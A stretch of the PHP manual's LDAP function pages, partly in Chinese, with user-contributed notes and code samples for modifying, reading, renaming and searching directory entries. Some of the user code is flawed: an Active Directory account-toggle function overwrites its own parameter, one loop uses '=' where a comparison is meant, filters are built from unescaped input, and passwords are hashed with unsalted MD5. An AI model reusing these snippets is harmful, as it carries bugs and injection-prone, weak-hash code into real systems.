docwoelle at ipwatch dot de 11-Apr-2006 01:44
If you want to disable an account in an Active Directory of Windows,
you may try this (it works for me in a Win2k environment):

(foo.bar should be replaced in "$ldapBase" to the correct
 domain, e.g. "DC=phpfreackx,DC=com" if your domain is phpfreackx.com)

domctrl = domain controller
domadlogin = domain admin login
domadpw = domain admin password
username = loginname of useraccount (e.g. "john.doe")
enable =1 (if you want to enable it, 0 if it should be disabled)

<?php
function userchange($username,$enable=1,$domadlogin,$domadpw,$domctrl)
{
$ldapServer = $domctrl;
$ldapBase = 'DC=foo,DC=bar';
$ds = ldap_connect($ldapServer);
if (!$ds) {die('Cannot Connect to LDAP server');}
$ldapBind = ldap_bind($ds,$domadlogin,$domadpw);
if (!$ldapBind) {die('Cannot Bind to LDAP server');}
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$dn=$ent[0]["dn"];
// Deactivate
$ac = $ent[0]["useraccountcontrol"][0];
$disable=($ac |  2); // set all bits plus bit 1 (=dec2)
$enable =($ac & ~2); // set all bits minus bit 1 (=dec2)
$userdata=array();
if ($enable==1) $new=$enable; else $new=$disable; //enable or disable?
$userdata["useraccountcontrol"][0]=$new;
ldap_modify($ds, $dn, $userdata); //change state
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$ac = $ent[0]["useraccountcontrol"][0];
if (($ac & 2)==2) $status=0; else $status=1;
ldap_close($ds);
return $status; //return current status (1=enabled, 0=disabled)
}

// use this to disable an account:
// userchange('john.doe@foo.bar',0,'admin@foo.bar', 'secret','domctrl.foo.bar');
// ..but this to enable it:
// userchange('john.doe@foo.bar',1,'admin@foo.bar', 'secret','domctrl.foo.bar');
?>
jmw1982 at gmail dot com 28-Nov-2005 02:03
If you're writing a multiple values for an attribute with ldap_modify (), the function will attempt to write all entries in the value array even if those entries are blank.  Setting blank entries to a blank array in the manner used for attribute deletion, ie:

$attributes[$attr_name][3] = array ();

results in the string "Array" being written to the directory for that value.  The only way I was able to find to do what I wanted - only write the values for the attribute that were submitted on the form - was to check if each attribute had multiple values and unset () blank values, eg:

                foreach ($attributes as $key => $cur_val) {
                        if ($cur_val== '') {
                                $attributes[$key] = array ();
                        }
                        if (is_array ($cur_val)) {
                                foreach ($cur_val as $mv_key => $mv_cur_val) {

                                        if ($mv_cur_val == '') {
                                                unset ($attributes[$key][$mv_key]);
                                        }
                                        else {
                                                $attributes[$key][$mv_key] = $mv_cur_val;
                                        }
                                }
                        }
                }
chris at uffbasse dot de 14-Jun-2004 09:57
To pinpoint the delete issue:

with newer OpenLdap versions this will fail:

$values["mail"] = "";
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = "";
ldap_modify($conn_id, $dn, $values);

BUT this works:

$values["mail"] = array();
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = array();
ldap_modify($conn_id, $dn, $values);
ace at suares dot nl 08-Dec-2003 07:41
Some comments on ldap_modify, and especially the user comment from tengel at fluid dot com

OpenLDAP 2.1.22
If an attribute is tagged as MUST in the schema, the attribute must be there. Wheter it may contain and empty value depends on the SYNTAX for that attribute.

DirectoryString MAY NOT be empty; OctetString MAY be empty. As far as I can see, IA5String MAY NOT be empty.

If an attribute is defined as MAY in the schema, the attribute may or may not be there. If it is there, it MAY or MAY NOT be empty, depending on its SYNTAX.

PHP 4.3.1

It seems that ldap_modify() will take an array of attributes to modify.

For multivalued attributes, passing an empty array, wil DELETE the attribute, regardless of it's previous value(s), and regardless if the attribute was there before the modify.

If the multivalued attribute is defined as MAY, this will work. If the attribute is defined as MUST, OpenLDAP will generate the error: 'LDAP error 65: Object class violation'

If an attribute's SYNTAX defines that it MAY NOT be empty, trying to add or modify the attribute with an empty value will genereate the error: 'LDAP error 21: Invalid syntax'.
Also, in the logfile, if set with sufficient debuglevel, the string

    value #0 invalid per syntax

will be present.

Trying to pass an empty array to ldap_add() for a any attribute (multi or single valued) will result in the error 'LDAP error 2: Protocol error', regardless if the attribute is defined as MUST or MAY.

Note that this differs form passing an array with elements that have no value. In the latter case, it depends on the SYNTAX for that attribute if that is allowed.

If the attribute is single-valued, passing an array with one element, WILL change the value of the attribute. In the user comments on php.net it is suggested that if you want to modify a single valued attribute, you must pass a string, not an array with one element. My experience is that an array with a single element will work just as well.

_Ace

website: http://www.suares.nl * http://www.qwikzite.nl
fechner at ponton dot de 22-Oct-2003 12:32
If you are trying to change the userPassword attribute when using md5 hashes, try the following lines:

$new["userPassword"] = '{md5}' . base64_encode(pack('H*', md5($newpass_in_plaintext)));
ldap_modify($ds, $dn, $new);
davidsmith at byuNOSPAM dot edu 12-Jul-2003 05:52
The $entry parameter can be an array of values for an attribute. Just be careful that your array's indices are numerically contiguous. For example, when using this $entry array, ldap_modify will fail with little explanation:

   $entry = array( 0 => 'foo', 2 => 'bar' );

While this one will work just fine:

   $entry = array( 0 => 'foo', 1 => 'bar' );

Hope this helps someone out.
jpdalbec at ysu dot edu 13-Jun-2003 03:13
Nick T.'s comment above is out of date.
The PHP LDAP interface currently supports direct modification of the DN using the ldap_rename() function.
goetz at rvs dot uni-hannover dot de 27-Mar-2003 07:22
Remember that you can NOT modify the attribute 'objectclass' with ldap_modify!

If you use a search result as basis for your changes, be sure to 'unset()' all numbered indices, 'count' indicies AND index 'objectclass' !
NOSPAMjjhuff at mspin dot net 12-Aug-2002 08:50
To delete entries:

$data["description"] = array();
ldap_modify($conn, $dn,$data);
tengel at fluid dot com 21-Mar-2001 06:57
The behaviour of OpenLDAP from 1.x to 2.x changed; in 1.x, when you passed ldap_modify the array, if the value was empty that attribute would be deleted.  In 2.x, you get an "Invalid Syntax" error and the modify fails.

This requires the ldap_mod_del function; unfortunately, that operation requires the attribute to be deleted have it's *old* value specified -- as you can imagine, if you're taking input from a CGI form, the attribute to be deleted's value is now missing (i.e., the user blanked out that textbox in the form and clicked Submit).

So, you're in a bit of a conundrum -- you want to delete "empty" form values, but you need their old value to delete them.  There are many ways to handle this, but I chose this approach:

<?php
// The first is what to add, the second to remove
$entry=array();
$delval=array();

// Imagine if you will, $o and $title are
// form fields with text boxes for data
if($o!="") { $entry["o"]="$o"; } else { $delval[]="o"; }
if($title!="") { $entry["title"]="$title"; } else { $delval[]="title"; }

// First try the normal modify with $entry
// $ldap, $dn, $BASEDN are all set up earlier
if (@ldap_modify($ldap, $dn, $entry)) {
  // then do the dirty work
  $filter = sprintf("(&(uid=%s)(sn=%s))",$uid,$sn);
  $sres = ldap_search($ldap, $BASEDN, $filter, $delval);
  $delent = ldap_first_entry($ldap, $sres);
  $delarr = ldap_get_attributes($ldap, $delent);
  $findel=array();
  for($i=0; $i<$delarr["count"]; $i++) {
    $attr = $delarr[$i];
    $totl = $delarr[$attr]["count"];
    for($z=0; $z<$totl; $z++) {
      if ($totl = 1) {
        $findel[$attr]=$delarr[$attr][$z];
      } else {
        $findel[$attr][$z]=$delarr[$attr][$z];
      }
    }
  }
  if(@ldap_mod_del($ldap, $dn, $findel)) {
    print("<H3>Modified Entry!</H3>\n");
    print("<BR>\n");
  } else {
    $error=ldap_error($ldap);
    print("<H3>Attribute Delete Failed!</H3>\n");
    print("<BR>\n($error)\n");
  }
} else {
  $error=ldap_error($ldap);
  print("<H3>Modify Failed!</H3>\n");
  print("<BR>\n($error)\n");
}
?>
nickt at powys dot gov dot uk 23-Apr-1999 05:23
Modifying existing LDAP information using ldap_modify()

The link_identifier must result from a call to connect to the server with authority to update entries, usually requiring an authenticated bind - ie you provide a suitable dn and password in the ldap_bind() call.

The  dn  must be a single specific dn that exists on the LDAP server.   There is no wildcard mechanism in LDAP to globally change multiple dn entries.

The entry array must be in one of two different forms, according to whether just one entry is to be stored in the directory for a particular attribute, or whether multiple entries are to be stored for the attribute.

Where a single entry is to be stored for an attribute - say just a single email address - then you use the general form

             <?php $newinfo[ <attribute_name> ]="whatever" ; ?>

for example ...

             <?php $newinfo["mail"]="john@myorg.com" ; ?>

Where multiple entries are to be stored for an attribute  -  say a number of email addresses for one person  -  then you use the general form

             <?php
             $newinfo[ <attribute_name> ][0] = "whatever" ;
             $newinfo[ <attribute_name> ][1] = "another" ;
             ?>

for example ...

             <?php
             $newinfo["mail"][0]="johnw@myorg.com" ;
             $newinfo["mail"][1]="jwaterson@somewhere.org" ;
             ?>

Further notes on ldap_modify()

The modify call leaves entries for all other attributes unaltered.   So if you just want to update the entry for the "mail" attribute, then all that is required is:

     <?php
     $newinfo[mail]="nick@county.gov.uk";
     ldap_modify($valid_ldaplink, $valid_dn, $newinfo);
     ?>

However, if there were multiple entries for the mail attribute present on the LDAP database when you run the above code, then all the existing mail entries would be deleted and be replaced by the single "mail" entry.

If you have reason to expect multiple values for a particular attribute (more that one email entry, for example) you should make sure you read all the entries from the ldap server first, and then save a modified array.

The PHP LDAP interface does not currently support direct modification of the dn.  If the dn needs changing, the only option is to read all entries for the dn and save these to a new, modified, dn before deleting the complete entry for the original dn.


Get the next attribute in result

  • ? ldap_modify
  • ldap_next_entry ?
  • PHP Manual
  • LDAP 函数
  • Get the next attribute in result

ldap_next_attribute

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_next_attribute — Get the next attribute in result

说明

ldap_next_attribute(LDAP\Connection $ldap, LDAP\ResultEntry $entry): string|false

Retrieves the attributes in an entry. The first call to ldap_next_attribute() is made with the entry returned from ldap_first_attribute().

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

entry

LDAP\ResultEntry 实例。

返回值

Returns the next attribute in an entry on success and false on error.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The entry parameter expects an LDAP\ResultEntry instance now; previously, a valid ldap result entry resource was expected.
8.0.0 | The unused third parameter ber_identifier is no longer accepted.

参见

  • ldap_get_attributes() - Get attributes from a search result entry

User Contributed Notes

There are no user contributed notes for this page.


Get next result entry

  • ? ldap_next_attribute
  • ldap_next_reference ?
  • PHP Manual
  • LDAP 函数
  • Get next result entry

ldap_next_entry

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_next_entry — Get next result entry

说明

ldap_next_entry(LDAP\Connection $ldap, LDAP\ResultEntry $entry): LDAP\ResultEntry|false

Retrieve the entries stored in the result. Successive calls to the ldap_next_entry() return entries one by one till there are no more entries. The first call to ldap_next_entry() is made after the call to ldap_first_entry() with the entry as returned from the ldap_first_entry().

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

entry

LDAP\ResultEntry 实例。

返回值

Returns an LDAP\ResultEntry instance for the next entry in the result whose entries are being read starting with ldap_first_entry(). If there are no more entries in the result then it returns false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The entry parameter expects an LDAP\ResultEntry instance now; previously, a valid ldap result entry resource was expected.
8.1.0 | Returns an LDAP\Result instance now; previously, a resource was returned.

参见

  • ldap_get_entries() - Get all result entries

User Contributed Notes

me at xbug dot de 17-Jul-2014 10:13
This is working for me in php 5.5:

<?php
$ldap_host = 'ldap://ldap.example.com';
$base_dn = "ou=users,dc=example,dc=com";
$connect = ldap_connect($ldap_host);

$result = ldap_search($connect, $base_dn, "(cn=*)");

$entry = ldap_first_entry($connect, $result);

do {
    $dn = ldap_get_dn($connect, $entry);
    echo "DN is $dn\n";
} while ($entry = ldap_next_entry($connect, $entry));

ldap_close($connect);
?>


Get next reference

  • ? ldap_next_entry
  • ldap_parse_exop ?
  • PHP Manual
  • LDAP 函数
  • Get next reference

ldap_next_reference

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_next_reference — Get next reference

说明

ldap_next_reference(LDAP\Connection $ldap, LDAP\ResultEntry $entry): LDAP\ResultEntry|false
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


Parse result object from an LDAP extended operation

  • ? ldap_next_reference
  • ldap_parse_reference ?
  • PHP Manual
  • LDAP 函数
  • Parse result object from an LDAP extended operation

ldap_parse_exop

(PHP 7 >= 7.2.0, PHP 8)

ldap_parse_exop — Parse result object from an LDAP extended operation

说明

ldap_parse_exop(
LDAP\Connection $ldap,
LDAP\Result $result,
string &$response_data = null,
string &$response_oid = null
): bool

Parse LDAP extended operation data from result object result

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

result

通过 ldap_list() 或者 ldap_search() 返回的 LDAP\Result 实例。

response_data

Will be filled by the response data.

response_oid

Will be filled by the response OID.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The result parameter expects an LDAP\Result instance now; previously, a valid ldap result resource was expected.

参见

  • ldap_exop() - Performs an extended operation

User Contributed Notes

There are no user contributed notes for this page.


Extract information from reference entry

  • ? ldap_parse_exop
  • ldap_parse_result ?
  • PHP Manual
  • LDAP 函数
  • Extract information from reference entry

ldap_parse_reference

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_parse_reference — Extract information from reference entry

说明

ldap_parse_reference(LDAP\Connection $ldap, LDAP\ResultEntry $entry, array &$referrals): bool
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


Extract information from result

  • ? ldap_parse_reference
  • ldap_read ?
  • PHP Manual
  • LDAP 函数
  • Extract information from result

ldap_parse_result

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_parse_result — Extract information from result

说明

ldap_parse_result(
LDAP\Connection $ldap,
LDAP\Result $result,
int &$error_code,
string &$matched_dn = null,
string &$error_message = null,
array &$referrals = null,
array &$controls = null
): bool

Parses an LDAP search result.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

result

通过 ldap_list() 或者 ldap_search() 返回的 LDAP\Result 实例。

error_code

A reference to a variable that will be set to the LDAP error code in the result, or 0 if no error occurred.

matched_dn

A reference to a variable that will be set to a matched DN if one was recognised within the request, otherwise it will be set to null.

error_message

A reference to a variable that will be set to the LDAP error message in the result, or an empty string if no error occurred.

referrals

A reference to a variable that will be set to an array set to all of the referral strings in the result, or an empty array if no referrals were returned.

controls

An array of LDAP Controls which have been sent with the response.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The result parameter expects an LDAP\Result instance now; previously, a valid ldap result resource was expected.
7.3.0 | Support for controls added

示例

Example #1 ldap_parse_result() example

<?php
$result = ldap_search($ldap, "cn=userref,dc=my-domain,dc=com", "(cn=user*)");
$errcode = $dn = $errmsg = $refs = null;
if (ldap_parse_result($ldap, $result, $errcode, $dn, $errmsg, $refs)) {
// do something with $errcode, $dn, $errmsg and $refs
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Read an entry

  • ? ldap_parse_result
  • ldap_rename_ext ?
  • PHP Manual
  • LDAP 函数
  • Read an entry

ldap_read

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_read — Read an entry

说明

ldap_read(
LDAP\Connection|array $ldap,
array|string $base,
array|string $filter,
array $attributes = [],
int $attributes_only = 0,
int $sizelimit = -1,
int $timelimit = -1,
int $deref = LDAP_DEREF_NEVER,
?array $controls = null
): LDAP\Result|array|false

Performs the search for a specified filter on the directory with the scope LDAP_SCOPE_BASE. So it is equivalent to reading an entry from the directory.

It is also possible to perform parallel searches. In this case, the first argument should be an array of LDAP\Connection instances, rather than a single one. If the searches should not all use the same base DN and filter, an array of base DNs and/or an array of filters can be passed as arguments instead. These arrays must be of the same size as the LDAP\Connection instances array, since the first entries of the arrays are used for one search, the second entries are used for another, and so on. When doing parallel searches an array of LDAP\Result instances is returned, except in case of error, when the return value will be false.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

base

The base DN for the directory.

filter

An empty filter is not allowed. If you want to retrieve absolutely all information for this entry, use a filter of objectClass=*. If you know which entry types are used on the directory server, you might use an appropriate filter such as objectClass=inetOrgPerson.

attributes

An array of the required attributes, e.g. array("mail", "sn", "cn"). Note that the "dn" is always returned irrespective of which attributes types are requested.

Using this parameter is much more efficient than the default action (which is to return all attributes and their associated values). The use of this parameter should therefore be considered good practice.

attributes_only

Should be set to 1 if only attribute types are wanted. If set to 0 both attributes types and attribute values are fetched which is the default behaviour.

sizelimit

Enables you to limit the count of entries fetched. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset sizelimit. You can set it lower though.

Some directory server hosts will be configured to return no more than a preset number of entries. If this occurs, the server will indicate that it has only returned a partial results set. This also occurs if you use this parameter to limit the count of fetched entries.

timelimit

Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset timelimit. You can set it lower though.

deref

Specifies how aliases should be handled during the search. It can be one of the following:

  • LDAP_DEREF_NEVER - (default) aliases are never dereferenced.
  • LDAP_DEREF_SEARCHING - aliases should be dereferenced during the search but not when locating the base object of the search.
  • LDAP_DEREF_FINDING - aliases should be dereferenced when locating the base object but not during the search.
  • LDAP_DEREF_ALWAYS - aliases should be dereferenced always.

controls

Array of LDAP Controls to send with the request.

返回值

返回 LDAP\Result 实例、 LDAP\Result 实例数组 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | Returns an LDAP\Result instance now; previously, a resource was returned.
8.0.0 | controls is nullable now; previously, it defaulted to [].
4.0.5 | Parallel searches support was added. See ldap_search() for details.
7.3.0 | Support for controls added

User Contributed Notes

ehalls at gmail dot com 10-May-2018 02:10
For those debugging a wrapper, akin to symfony's client wrapper for these functions and since there is crap documentation on a full cycle of pulling a single record vs multiple, etc.

For this one:
YOU MUST call ldap_get_entries after this function call.

AND PLEASE if you implement a wrapper, prime it with the initial entry else it makes no sense to execute without returning something easily visible as successful.

WHEN query->execute() and you get a collection.. make sure the entry field in the collection has at least the first entry primed.. wasted so much time because it was looking empty.

AND this entire adapter needs to be wrapped with a less retarded usage pattern via an STL lib wrapper, mysticism( bad design) begone.
123.. not 4290234~"wds

Thanks for your time
guillaumeinnov24 at gmail dot com 11-Dec-2014 08:58
Unfortunately, userPasswords seem to be NOT retrievable with ldap_read();
ronny at nxc dot no 20-Mar-2013 03:14
The array in the attributes parameter needs to be an indexed array with numeric keys in ascending order. Like this:

Array
(
    [0] => this
    [1] => is
    [2] => a
    [3] => test
)

If there are missing keys in the array, then no result will be returned. This will not work:

Array
(
    [0] => this
    [1] => is
    [3] => test
)
me at example dot com 30-Aug-2007 12:23
In the previous example the

$ds = ldap.myserver.com // your ldap server

should be

$ds = ldap_connect( "ldap.myserver.com" ) ; // your ldap server
cnicholl at yahoo dot com 21-Dec-2005 11:21
Clarification of the ldap_read command syntax:

If you just want to pull certain attributes from an object and you already know it's dn, the ldap_read command can do this as illustrated below.  It will be less overhead than ldap_search.

The string base_dn which is normally used to set the top context for a recursive ldap_search is used slightly differently with this command.  It is used to specify the actual object with the full dn.  (Hopefully this saves someone else a couple hours trying this command out.)

<?php
$ds = ldap.myserver.com // your ldap server
  $dn = "cn=username,o=My Company, c=US"; //the object itself instead of the top search level as in ldap_search
  $filter="(objectclass=*)"; // this command requires some filter
  $justthese = array("ou", "sn", "givenname", "mail"); //the attributes to pull, which is much more efficient than pulling all attributes if you don't do this
      $sr=ldap_read($ds, $dn, $filter, $justthese);
          $entry = ldap_get_entries($ds, $sr);

echo $entry[0]["mail"][0] . "is the email address of the cn your requested";
echo $entry[0]["sn"][0] . "is the sn of the cn your requested";
ldap_close($ds);
?>

This prints out the specified users mail and surname for example.
sbarnum at mac dot com 18-Jul-2001 02:15
This differs from ldap_search() by not recursing down to sub-entries.  if you know the dn of the item you're looking for and only want info on that entry, use ldap_read() and pass it the full dn of the item you want.

It also seems that you'd alway want something like objectclass=* for the filter, since you're only searching on one entry.


Modify the name of an entry

  • ? ldap_read
  • ldap_rename ?
  • PHP Manual
  • LDAP 函数
  • Modify the name of an entry

ldap_rename_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_rename_ext — Modify the name of an entry

说明

ldap_rename_ext(
LDAP\Connection $ldap,
string $dn,
string $new_rdn,
string $new_parent,
bool $delete_old_rdn,
?array $controls = null
): LDAP\Result|false

Does the same thing as ldap_rename() but returns an LDAP\Result instance to be parsed with ldap_parse_result().

参数

See ldap_rename()

返回值

Returns an LDAP\Result instance, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | Returns an LDAP\Result instance now; previously, a resource was returned.
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

参见

  • ldap_rename() - Modify the name of an entry
  • ldap_parse_result() - Extract information from result

User Contributed Notes

There are no user contributed notes for this page.


Modify the name of an entry

  • ? ldap_rename_ext
  • ldap_sasl_bind ?
  • PHP Manual
  • LDAP 函数
  • Modify the name of an entry

ldap_rename

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_rename — Modify the name of an entry

说明

ldap_rename(
LDAP\Connection $ldap,
string $dn,
string $new_rdn,
string $new_parent,
bool $delete_old_rdn,
?array $controls = null
): bool

The entry specified by dn is renamed/moved.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

dn

The distinguished name of an LDAP entity.

new_rdn

The new RDN.

new_parent

The new parent/superior entry.

delete_old_rdn

If true the old RDN value(s) is removed, else the old RDN value(s) is retained as non-distinguished values of the entry.

controls

Array of LDAP Controls to send with the request.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

注释

Note:

This function currently only works with LDAPv3. You may have to use ldap_set_option() prior to binding to use LDAPv3. This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x.

参见

  • ldap_rename_ext() - Modify the name of an entry
  • ldap_modify() - 别名 ldap_mod_replace

User Contributed Notes

web at davss dot com 11-Sep-2014 09:20
A thing to remember when using ldap_rename or any other method that is not doing just renaming but creating a new parent and moving children is that you'll loose your original entryUUID!
We wanted to do a local DB mapping for LDAP->DB user groups thinking that it would be the most stable resource identifier only to find out we were absolutely wrong.
Peter Kehl 09-Apr-2008 02:51
Here's some clarification about the parameters when renaming a container in Novell eDirectory:
- $new_rdn is in format "ou=new container name"
- newparent parameter is NULL - because we're renaming and not moving
- deleteoldrdn parameter if TRUE then old value of OU attribute is stored as a secondary/further value of LDAP OU attribute. Novell ConsoleOne shows it as 'Other Name' attribute.

$full_old_dn= "ou=Cuckoo,ou=London,ou=UK,ou=Europe,o=Happy";
$new_rdn= "ou=Cuckoo Group";

ldap_rename( $conn, $full_old_dn, $new_rdn, NULL, TRUE);
backports at gmail dot com 15-Jun-2007 07:26
Though clearly mentioned, the following had me in spin for a good 10 minutes.

Ensure:

if (!ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3)) {
   // do something horrible
}

has been set _before_ you actually bind :)
hyc at openldap dot org 06-Oct-2005 04:49
Contrary to Richard Esplin's statement, this *is* the correct function to use for renaming subtrees and moving entries from one place in the tree to another. Just that most LDAP server implementations don't support moving non-leaf entries.

E.g. In OpenLDAP, moving a non-leaf entry is only supported when using the back-hdb database backend. SunOne only has one database backend, and it apparently doesn't handle this type of operation.
venakis at ccf dot auth dot gr 18-Oct-2004 02:52
If you are using Sun Directory Server 5.2, please note that you can't use ldap_rename to move an entry. According to Sun's own documentation: "[...] At this point in time, Directory Server does not support the ability to use the modify DN operation to move an entry from one location in the directory tree to another location." (http://docs.sun.com/source/817-6707/resultcodes.html)
The problem is that php does not return any error and the operation seems to complete succesfully, except for the fact that nothing really happens. If you check the server logs, there will be an "error 53" entry (server is unwilling to perform).
hope this saves someone's couple of hours nasty searching...
Viper_SB at NOSPAMyahoo dot com 30-Jun-2004 02:41
Since this function isn't documented to well I thought I'd help out those trying to get this to work.

<?php
// $dn is the full DN of the entry you wish to move
$dn = 'cn=user1,ou=group1,dc=mydomain';
/*
    note that $newRdn IS NOT a full DN, it is only the start
    I've NOT gotten it to change attributes for the RDN
    but that could just be my schema
*/
$newRdn = 'cn=user2';
// $newparent IS the full DN to the NEW parent DN that you want to move/rename to
$newParent = 'ou=group2,dc=mydomain';
ldap_rename($link, $dn, $newRdn, $newParent, true);
?>

Like I said above I haven't been able to get it to rename to a DIFFERENT attribute so deleteoldrdn has no affect on it.
Richard Esplin 15-Nov-2003 06:37
ldap_rename can only move leaf nodes of the directory tree. If your ldap entry has any child entries, then ldap_rename is not the tool that you need. We needed to change usernames, but that alters the dn. ldap_rename wouldn't work because each of our user ldap entries has a couple associated child entries. We had to write a function to recursively copy the subtree to the new location, and then delete the original version. Here is the basic algorithm:

function recursive_move($old_username, $new_username)
    ldap_search on the old username to get the correct entry
    ldap_get_attributes to get an array of values from the ldap entry
    foreach attribute in array, replace occurences of $old_username with $new_username
    ldap_add the attribute array into the new location
    ldap_modify any additional attributes
    ldap_list each child entry
    call function recursive_move on each child
    ldap_delete current entry
    return
alex at netflex dot nl 16-Oct-2002 08:29
Works also with eDirectory 8 (NW6).

If you are moving a user, remember that you also change the uid!
04-Apr-2002 03:10
To get this function working make sure that the value for $newrdn is relative.


Bind to LDAP directory using SASL

  • ? ldap_rename
  • ldap_search ?
  • PHP Manual
  • LDAP 函数
  • Bind to LDAP directory using SASL

ldap_sasl_bind

(PHP 5, PHP 7, PHP 8)

ldap_sasl_bind — Bind to LDAP directory using SASL

说明

ldap_sasl_bind(
LDAP\Connection $ldap,
?string $dn = null,
?string $password = null,
?string $mech = null,
?string $realm = null,
?string $authc_id = null,
?string $authz_id = null,
?string $props = null
): bool
Warning

本函数还未编写文档，仅有参数列表。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.0.0 | dn, password, mech, realm, authc_id, authz_id and props are nullable now.

注释

Note: Requirement
ldap_sasl_bind() requires SASL support (sasl.h). Be sure --with-ldap-sasl is used when configuring PHP otherwise this function will be undefined.

User Contributed Notes

mbaynton 16-Jul-2014 03:01
A hint for debugging bind failures in  your environment: many of the warnings PHP issues from this mehod begin "PHP Warning:  ldap_sasl_bind(): Unable to bind to server: [reason]" where [reason] can be a variety of strings. This makes it appear the failure originates with ldap_sasl_bind, but all [reason]s really come from the underlying c function ldap_sasl_interactive_bind_s. That function is used by lots of software besides php, so I've found a greater wealth of troubleshooting information by searching the web for "ldap_sasl_interactive_bind_s [reason]"
devel at romanr dot info 10-Oct-2012 08:16
There is some reenterability bug: you can't use this function several times in a single process. PHP process (apache or fastcgi) should be restarted. Consider PHP_FCGI_MAX_REQUESTS=1
dwhite at olp dot net 22-Sep-2007 05:30
With the patch introduced in the bug below (which has been included in CVS), the parameters for this function should be:

bool ldap_sasl_bind ( resource $link [, string $binddn [, string $password [, string $sasl_mech [, string $sasl_realm [, string $sasl_authc_id [, string $sasl_authz_id [, string $props]]]]]]] )

Some example calls:

$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy');

With authz_id, specifying a dn:
$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy', 'dn:uid=tommy,ou=people,dc=example,dc=com');

With authz_id, specifying a SASL username:
$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy', 'u:tommy');

Also, since SASL authentication was introduced in LDAP version 3,
you may need to explicitly set the version number with:
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
dahgdevash at gmail dot com 25-May-2007 10:44
Bug , the function parameters are sent incorrectly to the server
Look at:
http://bugs.php.net/bug.php?id=39291


Search LDAP tree

  • ? ldap_sasl_bind
  • ldap_set_option ?
  • PHP Manual
  • LDAP 函数
  • Search LDAP tree

ldap_search

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_search — Search LDAP tree

说明

ldap_search(
LDAP\Connection|array $ldap,
array|string $base,
array|string $filter,
array $attributes = [],
int $attributes_only = 0,
int $sizelimit = -1,
int $timelimit = -1,
int $deref = LDAP_DEREF_NEVER,
?array $controls = null
): LDAP\Result|array|false

Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.

It is also possible to perform parallel searches. In this case, the first argument should be an array of LDAP\Connection instances, rather than a single one. If the searches should not all use the same base DN and filter, an array of base DNs and/or an array of filters can be passed as arguments instead. These arrays must be of the same size as the LDAP\Connection instances array, since the first entries of the arrays are used for one search, the second entries are used for another, and so on. When doing parallel searches an array of LDAP\Result instances is returned, except in case of error, when the return value will be false.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

base

The base DN for the directory.

filter

The search filter can be simple or advanced, using boolean operators in the format described in the LDAP documentation (see the » Netscape Directory SDK or » RFC4515 for full information on filters).

attributes

An array of the required attributes, e.g. array("mail", "sn", "cn"). Note that the "dn" is always returned irrespective of which attributes types are requested.

Using this parameter is much more efficient than the default action (which is to return all attributes and their associated values). The use of this parameter should therefore be considered good practice.

attributes_only

Should be set to 1 if only attribute types are wanted. If set to 0 both attributes types and attribute values are fetched which is the default behaviour.

sizelimit

Enables you to limit the count of entries fetched. Setting this to 0 means no limit.

